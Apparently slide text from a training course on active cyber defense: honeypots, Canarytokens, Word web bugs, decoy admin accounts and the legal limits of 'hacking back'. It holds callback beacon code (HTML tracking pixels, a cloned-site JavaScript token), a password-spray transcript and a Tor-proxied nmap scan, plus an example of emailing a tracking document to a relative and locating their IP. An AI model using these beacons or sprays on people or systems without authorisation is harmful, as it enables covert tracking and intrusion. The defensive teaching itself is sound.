alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT Outlook EML
access"; flow:from_client,established; content:".eml"; http_uri; metadata:policy s
ecurity-ips drop; reference:nessus,10767; classtype:attempted-user; sid:1233; rev:
13;)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT Microsoft em
f metafile access"; flow:from_client,established; content:".emf"; http_uri; pcre:"
/\.emf($|\x3F)/Ui"; flowbits:set,http.emf; metadata:policy security-ips drop; refe
rence:bugtraq,10120; reference:bugtraq,28819; reference:bugtraq,9707; reference:cv
e,2003-0906; reference:cve,2007-5746; reference:url,www.microsoft.com/technet/secu
rity/bulletin/MS04-011.mspx; reference:url,www.microsoft.com/technet/security/bull
etin/MS04-032.mspx; reference:url,www.microsoft.com/technet/security/bulletin/MS05
-053.mspx; reference:url,www.microsoft.com/technet/security/bulletin/MS06-001.mspx
; classtype:attempted-user; sid:2435; rev:12;)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT Microsoft wm
```

Annoyance

- ***Application-Specific Honeypots***

Application-Specific Honeypots

- These are honeypots that mimic specific applications
- Useful for more uniform environments
  - Think SCADA
- The goal is to blend in with existing servers
- Usually, these servers are in a batch
  - Think SCADA
- Also can be used on the outside of a network
  - Useful for proving to management that attacks do happen

DTE0016	Decoy Process	Execute software on a target system for the purposes of the defender.

Changing Conpot Default Configuration

- Changing default values in the configuration will help provide greater OPSEC
  - **Serial number**
  - **System name**
  - **System description**
- The data highlighted was outlined by Darren Martyn in his research pertaining to Honeypot OPSEC posted at:

http://xiphosresearch.com/2015/12/09/OPSEC-For-Honeypots.html

```
            </key>
            <key name="Copyright">
                <value type="value">"Original Siemens Equipment"</value>
            </key>
            <key name="s7_id">
                <value type="value">"88111222"</value>
            </key>
            <key name="s7_module_type">
                <value type="value">"IM151-8 PN/DP CPU"</value>
            </key>
            <key name="empty">
                <value type="value">""</value>
            </key>
        </key_value_mappings>
    </databus>
```

```
<conpot_template name="S7-200" description="Rough simulation of a basic Siemens
S7-200 CPU with 2 slaves">
    <core>
        <databus>
            <!-- Core value that can be retrieved from the databus by key -->
            <key_value_mappings>
                <key name="FacilityName">
                    <value type="value">"Mouser Factory"</value>
                </key>
                <key name="SystemName">
                    <value type="value">"Technodrome"</value>
                </key>
                <key name="SystemDescription">
                    <value type="value">"Siemens, SIMATIC, S7-200"</value>
                </key>
                <key name="Uptime">
                    <value type="function">conpot.emulators.misc.uptime.Uptime</
value>
                </key>
                <key name="sysObjectID">
                    <value type="value">"0.0"</value>
                </key>
                <key name="sysContact">
                    <value type="value">"Siemens AG"</value>
                </key>
                <key name="sysName">
                    <value type="value">"CP 443-1 EX40"</value>
                </key>
                <key name="sysLocation">
                    <value type="value">"Venus"</value>
                </key>
                <key name="sysServices">
                    <value type="value">"72"</value>
                </key>
                <key name="memoryModbusSlave1BlockA">
                    <value type="value">[random.randint(0,1) for b in range(0,12
8)]</value>
                </key>
                <key name="memoryModbusSlave1BlockB">
                    <value type="value">[random.randint(0,1) for b in range(0,32
)]</value>
```

Attribution

- ***Legal Issues***

Legal Issues

- Sometimes there is a disconnect between what we think is legal and what the law actually says
- Many of our assumptions are well founded
  - There is not a lot of established case law here
  - And most people would do it wrong anyway
- However, if you look at some existing case law, you can see some interesting trends
- Some might surprise you…

Consent to University Network Terms

- Sysadmin hacks into threatening machine
  - temp/temp – *Really? I mean, come on!*
- Gathered evidence used against student
- Student's consent to university terms justifies sysadmin
- *U.S. v. Heckenkamp*
- Kevin Poulsen
  - "Court Okays Counter-Hack of eBay Hacker's Computer," *Threat Level*, April 6, 2007, http://blog.wired.com/27bstroke6/2007/04/court_okays_cou.html

Susan v. Absolute

- Substitute teacher buys a stolen laptop
- The laptop has tracking software and software to “spy” on the potential “thief”
- Embarrassing pictures are taken
  - "It is one thing to cause a stolen computer to report its IP address or its geographical location in an effort to track it down," Rice wrote in his decision. "It is something entirely different to violate federal wiretapping laws by intercepting the electronic communications of the person using the stolen laptop.“ –Judge Walter Rice
- Absolute settled out of court
- Just because they do something bad to you, it does not give you the right to violate their rights

Public Example of Reflected Attack

- In 1999, the World Trade Organization website had a DOS attack from the E-Hippies coalition
- Hosting service Conxion reflected the attack back to E-Hippies and disabled its website
  - All through the use of a mod_rewite rule
- Conxion was not prosecuted (not the same as legal)
  - It also logged 10,000 unique IP addresses
  - We are seeing the same type of insanity with LOIC
- Visit http://www.networkworld.com/research/2000/0529feat2.html

MSFT Court Order – Botnet

- Civil lawsuit 2010
  - *Ex parte* temporary restraining order
- Court issues order to suspend the domains associated with the Waledac botnet
  - www.google.com/buzz/benwright214/PcJTmLbEwit/Cyber-Defense-Law-Botnet-Computer-Crime-Lawsuit
- MSFT takes "other technical measures" to degrade the botnet

Look At Your Warning Banner

- There is a lot in there about permission
- You also have a number of technologies that will “check” your system before it accesses the network
  - OpenVPN scripts
  - Windows 2008 Network Access Protection
- Is it possible to use this as a means to gather some information about an attacker’s system?

Protecting Your Intellectual Property

- Callbacks
  - Software updates
- Software that checks license keys
  - Microsoft Genuine Advantage
- Tracking software in phones
  - Just look at Android. Does chess really need access to my contact list and call history?
- We are not necessarily talking about “hacking” per se; we are talking about getting attribution or stuff we see every day

Reality Check

- How could this go wrong?
  - Mistakes or unintended consequences
  - Easily accessible malware
  - Full attacks of attacker IP addresses
  - Crashing systems
  - Persistent long-term access
- This is about having a number of options to work with
  - Annoyance
  - Attribution
  - Attack

Hallmarks of Legality

- Discuss
- Document
- Plan
- Consult with others
- Do not hide
  - Hiding may be interpreted as what you think you are doing is "wrong"
- Don't be evil
  - Although it seems like fun, it can get you in trouble
  - And, you just became one of them
  - Remember ethics, too (it is not always the same as legal)
  - Don't become the people you're defending against

A Thoughtful and Well-Reasoned Debate on the ACDC Law

vs.

For the Record

- I am a pretty firm believer in Active Defense
- I am not so much a believer in strike back
- There is a difference
- We will be looking at poison and venom again
- We will also be looking at callback methods

Sure, you are a "believer" but are you a "belieber"?

If Someone Asks if You are a Belieber..

Poison

- Think of something that needs to be taken
- A frog
- A plant
- We can apply this to IT as well
- An attacker has to "steal" something
- Then, it can trigger

Don't ever bring them home with you.
Not even once.

Venom (or Strike Back)

- Is usually injected
- Think a snake or a platypus
- In IT, this would be the equivalent of attacking an attacker
- But, remember! Many "Attacker" systems are actually other victims
- Yes, breaking the law to catch a lawbreaker is not cool
- It is against the law

First, the Good Things in this Law..

(6) Congress determines that the use of active cyber defense techniques, when properly applied, can also assist in improving defenses and deterring cybercrimes;

Still ok…

(9) Computer defenders should also exercise extreme caution to avoid violating the law of any other nation where an attacker's computer may reside.

Yes… I am going to read almost the whole law to you

"(k) EXCEPTION FOR THE USE OF ATTRIBUTIONAL TECHNOLOGY.—

"(1) This section shall not apply with respect to the use of attributional technology in regard to a defender who uses a program, code, or command for attributional purposes that beacons or returns loca-

5

tional or attributional data in response to a cyber intrusion in order to identify the source of an intrusion; if—

Still ok!

"(A) the program, code, or command originated on the computer of the defender but is copied or removed by an unauthorized user; and

"(B) the program, code or command does not result in the destruction of data or result in an impairment of the essential operating functionality of the attacker's computer system, or intentionally create a backdoor enabling intrusive access into the attacker's computer system.

Ok.. Why is this "ok" or Even "good"?

- Because basic IP address and location information is being tracked…
- A lot..
- By Ads, Google and Apple apps, anytime you access a website, anytime you try to get a coffee
- We can do attribution *without breaking existing laws!*

Wait.. What? "Malware Samples"

"(2) DEFINITION.—The term 'attributional data' means any digital information such as log files, text strings, time stamps, malware samples, identifiers such as user names and Internet Protocol addresses and metadata or other digital artifacts gathered through forensic analysis."

DTE0018	Detonate Malware	Execute malware under controlled conditions to analyze its functionality.

Ok.. Back on Track...

"(aa) establish attribution of criminal activity to share with law enforcement and other United States Government agencies responsible for cybersecurity;

So What Can We Do?

- Word Web Bugs!
- Geolocation apps
- Callback PDF
- Callback XLS
- HTML code to prevent/detect scraping
- Honeypots*
  - A very special note on entrapment
- Digital Code Signing Certs
  - Own the CRL
- Callback Videos!
  - Check for a higher resolution

Whoa. Whoa. Whoa…..

"(bb) disrupt continued unauthorized activity against the defender's own network; or

"(cc) monitor the behavior of an attacker to assist in developing future intrusion prevention or cyber defense techniques; but

But it Says You Cannot do These Things

"(IV) intentionally exceeds the level of activity required to perform reconnaissance on an intermediary computer to allow for attribution of the origin of the persistent cyber intrusion;

"(V) intentionally results in intrusive or remote access into an intermediary's computer;

"(VI) intentionally results in the persistent disruption to a person or entities internet connectivity resulting in damages defined under subsection (c)(4); or

Yea.. still reading to you

How will the bill impact innocent bystanders and avoid collateral damage?
ACDC has a very high standard for cyber defenders. If a defender behaves improperly or recklessly, they will still bear the full penalty of existing law. ACDC does not change the existing penalties for "unauthorized access"; it merely allows a legal defense for such access in cases where self-defense is clearly justified. The bill makes clear that if a person is inadvertently impacted by active-cyber defense, their right to sue for civil damages or injunctive relief is preserved. Defenders would be forced to take a very deliberate, step-by-step process of using active-cyber defense or they would still run the risk of civil and criminal penalties.

Additionally, the bill requires reporting to the FBI-led National Cyber Investigative Joint Task Force before taking active-defense measures, which will help federal law enforcement ensure defenders use these tools responsibly. The bill also includes a voluntary review process through the FBI Joint Taskforce that individuals and companies could utilize before using active-defense techniques, which will assist defenders in conforming to federal law and improving the technical operation of the measure.

Why is this Bad?

- I can see how “disrupting” and “monitoring” attacker activity seems like a “good” idea
- The thought process could be that we are only going to target the “bad guy,” not the innocent victim systems being used by the bad guy
- In the real world it is sometimes easy to see who is neutral and who is bad. They are usually separate entities.

Specifically, Security Engineering

But, What About Collateral Damage?

- It is not easy to differentiate between what is a good and bad process
- Degrading an attacker system may be degrading the unknowing victim processes as well
- "Monitoring" activities will almost certainly involve the violation of privacy of the pivot victim system as well
- Simply trying to differentiate between "good" and "bad" activity on a system will inherently violate the privacy of a legitimate user

Spot the hacker!
Hint, she is wearing a hoodie!

What About the FBI?

SEC. 5. NOTIFICATION REQUIREMENT FOR THE USE OF ACTIVE CYBER DEFENSE MEASURES.

Section 1030 of title 18, Unites State Code, is amended by adding the following:

"(m) NOTIFICATION REQUIREMENT FOR THE USE OF ACTIVE CYBER DEFENSE MEASURES.—

"(1) GENERALLY.—A defender who uses an active cyber defense measure under the preceding section must notify the FBI National Cyber Investigative Joint Task Force and receive a response from the FBI acknowledging receipt of the notification prior to using the measure.

"But Attribution is Hard.."

- ".. and the bad guys will detect these things"
- I am OK with this!
- Simply because attribution may have some issues does not mean it is worthless
- Trust me, attackers will greatly slow down when they know these things are in play

Wrapping up

- We desperately need to get away from “hacking back”
- Instead, we need to focus on the wonderful range of options we do have
- We don't necessarily need a new law for attribution
- We do need a warrant any time we cross the line and access someone’s system

Attribution

- ***Dealing with TOR***

Why Attribution?

- Get the bad guys!
- However, if you are being attacked by a nation-state, “getting the bad guys” might be kinda hard
- So, why do this then?
  - One, know what they are after
  - Two, understand what they already have
- This helps you better design defenses and better understand how much you need to allocate to this issue
  - Active defense provides threat intelligence

Dealing with TOR

- Indirection is key for attackers
  - Very few penetration testers do this
  - Ron Gula has an excellent presentation on this at http://www.sourceconference.com/publications/bos10pubs/10-04-SOURCE-DetectingPenTesters.pptx
- They might go through a cloud such as TOR
- They might come through a botnet
- However, there is going to be some level of indirection
- You need to find a way to determine as much as possible about an attacker

How TOR Works

Proxychains and TORProxy

- TOR is not just used by browsers
- It can also be used by other applications
- SOCKS-5 and proxychains might be in play
- It is useful for Nmap scans
- You can even tunnel Nessus and Metasploit through it
- If it is done right, great!
  - The good guys cannot see the real IP of the attack
- However, if it is not done correctly…
  - There is a good chance of finding out exactly who is attacking you
- Understanding how attacks work is an important part of determining how to catch the attacker

Looking At a –sP Port Scan

- I am sure you know how this works, but…
- How do we know that the target system is alive?

- 10:41:08.753647 IP bill.local > forum.pauldotcom.com: ICMP echo request, id 4077, seq 0, length 8

- 10:41:08.753798 IP bill.local.38619 > forum.pauldotcom.com.https: Flags [S], seq 514431370, win 4096, options [mss 1460], length 0

- 10:41:08.753856 IP bill.local.38619 > forum.pauldotcom.com.www: Flags [.], ack 1129230482, win 2048, length 0

- 10:41:08.753913 IP bill.local > forum.pauldotcom.com: ICMP time stamp query id 14984 seq 0, length 20

What About a Standard –sS Scan?

- 10:45:29.340411 IP bill.local.37291 > forum.securityweekly.com.www: Flags [S], seq 2385790418, win 4096, options [mss 1460], length 0

- 10:45:29.415814 IP forum.securityweekly.com.www > bill.local.37291: Flags [S.], seq 75261858, ack 2385790419, win 5840, options [mss 1460], length 0

- 10:45:29.415852 IP bill.local.37291 > forum.securityweekly.com.www: Flags [R], seq 2385790419, win 0, length 0

What Is the Right Way?

proxychains nmap –Pn –sT –p 80 209.20.73.195

```
|S-chain|-<>-127.0.0.1:5060-<><>-209.20.73.195:80-Got SOCKS Connection...
Got SOCKS Request: 209.20.73.195:80
Successfully opened Tor exit Node stream...
<><>-OK
CIRCUIT: Close called...
Interesting ports on forum.pauldotcom.com (209.20.73.195):
PORT   STATE SERVICE
80/tcp open  http
```

Attribution

- ***Honeytokens***

Canarytokens

DTE0030	Pocket Litter	Place data on a system to reinforce the legitimacy of the system or user.

Results

Canarytoken triggered

ALERT

An HTTP Canarytoken has been triggered by the Source IP 24.214.199.44.

Basic Details:

Channel	HTTP
Time	2018-07-12 14:49:47
Canarytoken	9eldu66uyks2mccn70tcuw00g
Token Reminder	Hello It is tripped!!!!!!
Token Type	ms_word
Source IP	24.214.199.44
User Agent	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)

Canarytoken Management Details:

Implementing the Canarytoken Engine

- You can use its servers
  - Generate a MD5 string based on the attacker/victim's information
  - Embed an iframe directing him/her to the Canarytokens site
  - Recover the information gathered from Canarytokens.net
- You can also implement its APIs on your servers
  - Implement a custom DNS server
  - Create a database for the results
  - Embed the Java and Flash applications from Canarytokens.net

Attribution

- ***Lab: Canarytokens***

Setup

Canarytokens by Thinkst

What is this and why should I care?

Custom exe / binary

strandjs@gmail.com

EXE

rufus-3.4.exe ×

Create my Canarytoken

© Blac

Trigger

Basic Details:

Channel	DNS
Time	2019-02-27 21:41:15
Canarytoken	jznohj8hg1xrnua17wgxqstld
Token Reminder	EXE
Token Type	signed_exe
Source IP	24.214.199.44

Canarytoken Management Details:

Why not make it real?

OPENVPN

BUSINESS VPN CONSUMER VPN

For example, these lines at the start of the script will make the script suitable for working with Powershell:

```
#!"C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy
ByPass -File
#EXT ps1
```

And this uses the integrated Python interpreter that comes with Connect Client for Windows or Macintosh, or the Linux Python interpreter:

```
#!/usr/bin/env python
```

This uses only the integrated Python interpreter that comes with Connect Client for Windows or Macintosh:

```
#PYTHON
```

Or pass the script as a file to an interpreter (last argument is the implicit script filename):

```
#!"C:\Program Files\Foo Corp\interpreter.exe" -a somearg
```

© Black

How To Do This

- Well.. robots.txt
- Also, this can go so much further
  - Full netsh wlan
  - More on this in a moment…..

```
C:\WINDOWS\system32>netsh wlan show networks mode=Bssid

Interface name : Wi-Fi
There are 4 networks currently visible.

SSID 1 : NHCI - 5G
    Network type            : Infrastructure
    Authentication          : WPA2-Personal
    Encryption              : CCMP
    BSSID 1                 : 1c:87:2c:66:cb:a4
         Signal             : 40%
         Radio type         : 802.11ac
         Channel            : 161
         Basic rates (Mbps) : 6 12 24
         Other rates (Mbps) : 9 18 36 48 54
```

```
User-agent: *
Disallow: /registration
Disallow: /admin.php
Disallow: /adminpage.php
Disallow: /jsf_detect.php
Disallow: /jsf_reg_detect.php
Disallow: /admin
Disallow: /email
Disallow: /maps
Disallow: /flash
```

© Black Hills Information Security | @BHInfoSecurity

Cloned Websites!

Your Cloned Website token is active!

Use this Javascript to detect when someone has cloned a webpage. Place this Javascript on the page you wish to protect:

```
if (document.domain != "thinkst.com") {
var l = location.href;
var r = document.referrer;
var m = new Image();
m.src = "http://canarytokens.com/"+
"shi8oot8536ueblaf2zimc4hw.jpg?l="+
encodeURI(l) + "&amp;r=" + encodeURI(r);
}
```

When someone clones your site, they'll include the Javascript. When the Javascript is run it checks whether the domain is expected. If not, it fires the token and you get an alert.

Ideas for use:

- Run the script through an obfuscator to make it harder to pick up.
- Deploy on the login pages of your sensitive sites, such as OWA or tender systems.

© Black Hills I

Trigger

ALERT

An HTTP Canarytoken has been triggered by the Source IP 70.42.131.189.

Basic Details:

Channel	HTTP
Time	2019-08-13 13:16:13
Canarytoken	y7[redacted]22no
Token Reminder	Cloned website token for: [redacted].blackhillsinfosec.com
Token Type	clonedsite
Source IP	[redacted]
User Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Referer	[redacted]
Location	[redacted]

Canarytoken Management Details:

Manage this Canarytoken here
More info on this token here

© Black Hills Information Security

History

Incident Map

Incident List

Export

Date: 2019 Sep 06 14:30:36 **IP** annel: HTTP

Date: 2019 Jul 25 09:06:48 **IP:** annel: HTTP

Date: 2019 Jul 25 04:10:21 **IP:** annel: HTTP

Date: 2019 Jul 24 23:51:42 **IP:** annel: HTTP

Date: 2019 Jul 24 23:49:15 **IP:** nnel: HTTP

Date: 2019 Jul 24 23:49:13 **IP:** annel: HTTP

Date: 2019 Jul 24 23:49:05 **IP:** nnel: HTTP

Date: 2019 Aug 18 07:27:35 **IP:** annel: HTTP

Date: 2019 Aug 13 17:44:54 **IP:** annel: HTTP

Date: 2019 Aug 13 13:16:12 **IP:** annel: HTTP

Word Docs!!!

- Word docs are great because we can put them on:
- Shares
- Compromised systems
- Websites (Robots.txt)
- Email to spammers!
- However, there are some things to keep in mind!

Family…

Please open this

Bryan Strand (blackhillsinfosec.com)

Please open this

Thanks!

--
John Strand
O: (605) 550-0742
C: (303) 710-1171

qi5j8elwlge732y1nm0lnkisn.docx (16K)

© Black Hills Informati

Yes! CanaryTokens!

Canarytoken triggered

ALERT

An HTTP Canarytoken has been triggered by the Source IP 74.143.15.100.

Basic Details:

Channel	HTTP
Time	2019-09-06 10:51:36
Canarytoken	qi5j8elwlge732y1nm0lnkisn
Token Reminder	He opened it.
Token Type	ms_word
Source IP	74.143.15.100
User Agent	Mozilla/4.0 (compatible; ms-office; MSOffice 16)

Canarytoken Management Details:

Manage this Canarytoken here
More info on this token here

© Black Hills Information Secu

Not bad..

© Black Hi

But we can do better...

```
john@pop-os ~> traceroute 74.143.15.100
traceroute to 74.143.15.100 (74.143.15.100), 30 hops max, 60 byte packets
 1  _gateway (192.168.43.92)  5.107 ms  5.111 ms  12.249 ms
 2  172.26.96.169 (172.26.96.169)  210.376 ms  210.438 ms  212.467 ms
 3  172.16.232.188 (172.16.232.188)  211.501 ms  211.482 ms 172.16.232.164 (172.
16.232.164)  211.555 ms
 4  12.249.2.9 (12.249.2.9)  211.472 ms  211.457 ms  211.435 ms
 5  12.83.188.242 (12.83.188.242)  211.350 ms  211.330 ms  211.310 ms
 6  cgcil21crs.ip.att.net (12.122.2.225)  211.204 ms  189.505 ms  189.489 ms
 7  cgcil403igs.ip.att.net (12.122.133.33)  189.511 ms  404.643 ms  404.581 ms
 8  be3039.ccr41.ord03.atlas.cogentco.com (154.54.12.85)  378.582 ms  378.514 ms
  378.491 ms
 9  38.142.66.210 (38.142.66.210)  378.477 ms  378.310 ms  378.403 ms
10  66.109.5.224 (66.109.5.224)  378.359 ms  378.292 ms  378.285 ms
11  bu-ether11.chctilwc00w-bcr00.tbone.rr.com (66.109.6.21)  378.231 ms  378.140
 ms 66.109.5.137 (66.109.5.137)  378.268 ms
12  be2.clmkohpe01r.midwest.rr.com (107.14.17.253)  378.156 ms be1.clmkohpe01r.m
idwest.rr.com (66.109.6.69)  378.201 ms be2.clmkohpe01r.midwest.rr.com (107.14.1
7.253)  355.409 ms
13  be1.lsvmkyzo01r.midwest.rr.com (65.189.140.163)  376.686 ms * *
14  * * *
15  * * *
16  * * rrcs-74-142-115-130.central.biz.rr.com (74.142.115.130)  362.292 ms
17  rrcs-74-143-15-100.central.biz.rr.com (74.143.15.100)  367.971 ms  362.327 m
```

Enhance

Louisville Slugger Museum & Factory
21c Museum Hotel Louisville
Bristol Bar & Grille Downtown
Evan Williams Bourbon Experience
Starbucks
Jeff Ruby's Steakhouse, Louisville
Troll Pub Under the Bridge
Louisville Glassworks
Pike St
Mussel & Burger Bar
Republic Bank
Park Community Credit Union
PNC Bank
Barrel on Main
Actors Theatre of Louisville
Bluegrass Brewing
Vincenzo's
LG&E and KU Energy
Holiday Inn Express & Suites...
W Market St
FedEx Office Print & Ship Center
The Old Spaghetti Factory
Saffron's Persian Cuisine
Jefferson County Sheriff's Office
DISH on Market
Louisville Metro Police Department
Court Pl
Panera Bread
Kentucky International Convention Center
Subway Restaurants
S 9th St
S 8th St
S 7th St
S 6th St
S 5th St
S 4th St
S 3rd St
S 2nd St
Jefferson County Family Court
Court of Justice Traffic
W Jefferson St
Produce Plaza
Stewart's Pa
Potbelly Sandwich Shop
Louisville Metro Department of...
W Liberty St
Hyatt Regency Louisville
Papa John's Pizza
Louisville MSD
Louisville Marriott Downtown
DerbyCon IX - 3 Day... • Today
Shell
Cedar St
Archdiocesan History Center
Jim Beam Urban Stillhouse
United States Postal Service
Enterprise Rent-A-Car
Cecil's Service Center
Kentucky Career Center
Fourth Street Live!
Econo Lodge Downtown
Metro Empl Wellness C
Cathedral of the Assumption
Greyhound Package Xpress
Thomas Merton Memorial
Third Street Dive
River City Bank
Scott Parking
Embassy Suites by Hilton Louisville Downtown
The Rathskeller

© Bla

But!

- It does not work all that well with Linux document processors
- We will need ADHD and Word Web Bugs for that!!
- Also, this can be extended to the point where we can have full macro scripts
- However, that would be far cooler for .xlsx files

CanaryLive Lab

- In this lab, you will
  - Look at the Canarytokens components
  - Compile the necessary pieces
  - Run the server
  - Collect information about connecting systems
- Objective: To give you the necessary components to implement this in your environment
- Follow the instructions in the Canarytokens cheat sheet
- ***<u>We will use the ADHD VM for this lab</u>***
- This lab should take 45 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION
Instructions on VM

Attribution

- ***Word Web Bugs (or Honeydocs)***

Word Web Bugs

- This feature is built into Core Impact
  - However, we can do it free
- It should be used for penetration testing
- This tactic works great at tracking intellectual property
- Not all ways of finding attribution need to result in shell access
- It is far less likely to crash a system
- Embed this code in an interesting document
- This method does *not* use macros–excellent

What Does It Look Like?

```
<html>
<head>
<LINK REL="stylesheet" HREF="http://YOUR_IP/web-bug-server/index.php?id=1&type=css">
</head>

<body>

<p>What a buggy document!</p>

<IMG SRC="http://YOUR_IP/web-bug-server/index.php?id=1&type=img"  width="1" height="1">

</body>

</html>
```

Yep, that's pretty much it…

What Does It Look Like When Opened?

How Does It Work?

- It simply inserts a reference to your Linux IP address in a Word document
- When the doc is opened, it tries to open the URL
- This is a direct connection!

```
-----------------------------------------------
Request received from 192.168.123.156:
 - GET /rpt/766f30a860603cea/ONLOADWINDOWsIjhOblHAMf4rpRrFmpsLAaa/
ntlm.css HTTP/1.1
 - Request time: Wed May 12 06:34:43 2010
 - Request headers:
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media
Center PC 6.0; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: 192.168.123.159
Connection: Keep-Alive
-----------------------------------------------
```

Going Further

AbiWord

type	ip_address	user_agent
img	127.0.0.1	gvfs/1.12.1
css	127.0.0.1	
img	127.0.0.1	
img	192.168.1.195	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko)
css	192.168.1.195	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko)
css	192.168.1.216	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727
img	192.168.1.216	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727

LibreOffice Writer

Apple TextEdit

Microsoft Word

Attribution

- ***Lab: Word Web Bugs***

Lab: Word Web Bugs

- The goal of this lab is to create a Word document and have it connect back to you
- You will then collect information about the attacking system
- The goal is to collect information that might come outside of a TOR tunnel
- You can do this via Java and DNS lookups, but why not add Word, too?
- Follow the instructions in the Word Web Bug cheat sheet
- ***<u>We will use the ADHD VM for this lab</u>***
- This lab should take roughly 35 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION
Instructions on VM

Word Web Bugs in the Enterprise

- One of the key components of active defense is how psychology is key
  - Most active defense tactics are often 80%-90% thinking about what would entice an attacker
- For example, think of using Word web bugs as an incident response tactic
  - An attacker sees a "sensitive" document, downloads it, and you now have the attacker's IP address
- This can be useful in law investigations and threat intelligence
- The best part is that you are not violating any laws
  - No long-term persistent access
  - Just a simple callback
  - From your intellectual property, which they stole

Cyber Deception on the Cheap

Commercial Cyber Deception

- Javelin Networks
- Cymmetria
- Illusive Networks
- Attivo Networks
- TrapX
- Acalvio

Goals

- Set up a set of cyber deception and attribution components in under half a day
- Many ways to do the exact same thing
- Quick and dirty
- Odd, these quick things usually get picked up the fastest

Active Directory HoneyAdmin

DTE0010	Decoy Account	Create an account that is used for active defense purposes.

DTE0012	Decoy Credentials	Create user credentials that are used for active defense purposes.

Go on.. Be obvious!

Disable Logon Hours

User logon name:

adminadmin | @Win.Lab

User logon name (pre-Windows 2000):

winlab\ | adminadmin

Logon Hours... | Log On To...

Unlock account

Set up Kiwi

Kiwi Syslog Server Setup
Name
Description
Rules
Default
Filters
Actions
Display
Log to file
New Rule
Filters
New Filter
Actions
New Action
Schedules
Formatting
Custom file formats
Custom DB formats
DNS Resolution
DNS Setup
DNS Caching
Modifiers
Scripting
Display
Appearance
E-mail
Alarms
Rule | Type | Name | Type
Default | Action | Display | Display
Default | Action | Log to file | Log to file
New Rule | Filter | New Filter | Message text-Simple
New Rule | Action | New Action | Display
Only show active rules, filters and actions
Help
OK
Cancel
Apply

Password Spray

Administrator: Command Prompt - po...

```
PS C:\Users\JimmyAdmin\Downloads> Invoke-DomainPasswordSpray -Password Spring201
7
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] Removing disabled users from list.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 293 users gathered from the current user's dom
ain

Confirm Password Spray
Are you sure you want to perform a password spray against 293 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y
[*] Password spraying has begun. Current time is 11:11 AM
[*] This might take a while depending on the total number of users
[*] SUCCESS! User:Jenkin.Admin Password:Spring2017
[*] Password spraying is complete
PS C:\Users\JimmyAdmin\Downloads>
```

Alerts!

07-19-2017 10:11:53 User.Notice 10.233.233.10 Jul 19 11:11:53 WinLab-DC.Win.Lab MSWinEventLog 1 Security 6439 Wed Jul 19 11:11:52 2017 4625 Microsoft-Windows-Security-Auditing \adminadmin N/A Failure Audit WinLab-DC.Win.Lab Logon An account failed to log on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Type: 3 Account For Which Logon Failed: Security ID: S-1-0-0 Account Name: adminadmin Account Domain: Failure Information: Failure Reason: Account logon time restriction violation. Status: 0xC000006E Sub Status: 0xC000006F Process Information: Caller Process ID: 0x0 Caller Process Name: - Network Information: Workstation Name: WINLAB-DC Source Network Address: fe80::34fe:5e09:f665:3b9 Source Port: 63183 Detailed Authentication Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): - Key Length: 0 This event is generated when a logon request fails. It is generated on the computer where access was attempted. The Subject fields indicate the

HoneyShare and HoneyDoc

DTE0011	Decoy Content	Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc.

Creating the Document

Terminal - adhd@adhd: /opt/webbugserver

File Edit View Terminal Tabs Help

```
adhd@adhd:~$ cd /opt/web
webbugserver/ weblabyrinth/
adhd@adhd:~$ cd /opt/web
webbugserver/ weblabyrinth/
adhd@adhd:~$ cd /opt/webbugserver/
adhd@adhd:/opt/webbugserver$ ls
1x1.jpg     normalize.css          README.txt    web_bug.html
index.php   normalize-license.txt  web_bug.doc
adhd@adhd:/opt/webbugserver$ gedit web_bug.doc
```

web_bug.doc (/opt/webbugserver) - gedit

File Edit View Search Tools Documents Help

Open Save Undo

File Browser

webbugse...

- index.php
- normalize.css
- normalize-license.txt
- README.txt
- web_bug.html

web_bug.doc

```
<html>
<head>
<LINK REL="stylesheet" HREF="http://192.168.192.135/web-bug-
server/index.php?id=1&type=css">
</head>

<body>

<p>What
a buggy document!</p>

<IMG SRC="http://192.168.192.135/web-bug-server/index.php?
id=1&type=img" width="1" height="1">

</body>

</html>
```

Move it to a Linux server

root@slingshot: /secretsuper

File Edit View Search Terminal Help

```
root@slingshot:/secretsuper# wget http://192.168.192.135/web_bug.doc
--2017-07-19 18:09:19--  http://192.168.192.135/web_bug.doc
Connecting to 192.168.192.135:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268 [application/msword]
Saving to: ‘web_bug.doc’

web_bug.doc                                         100%[=========================================
=======================================================>]     268  --.-KB/s    in 0s


2017-07-19 18:09:19 (12.8 MB/s) - ‘web_bug.doc’ saved [268/268]

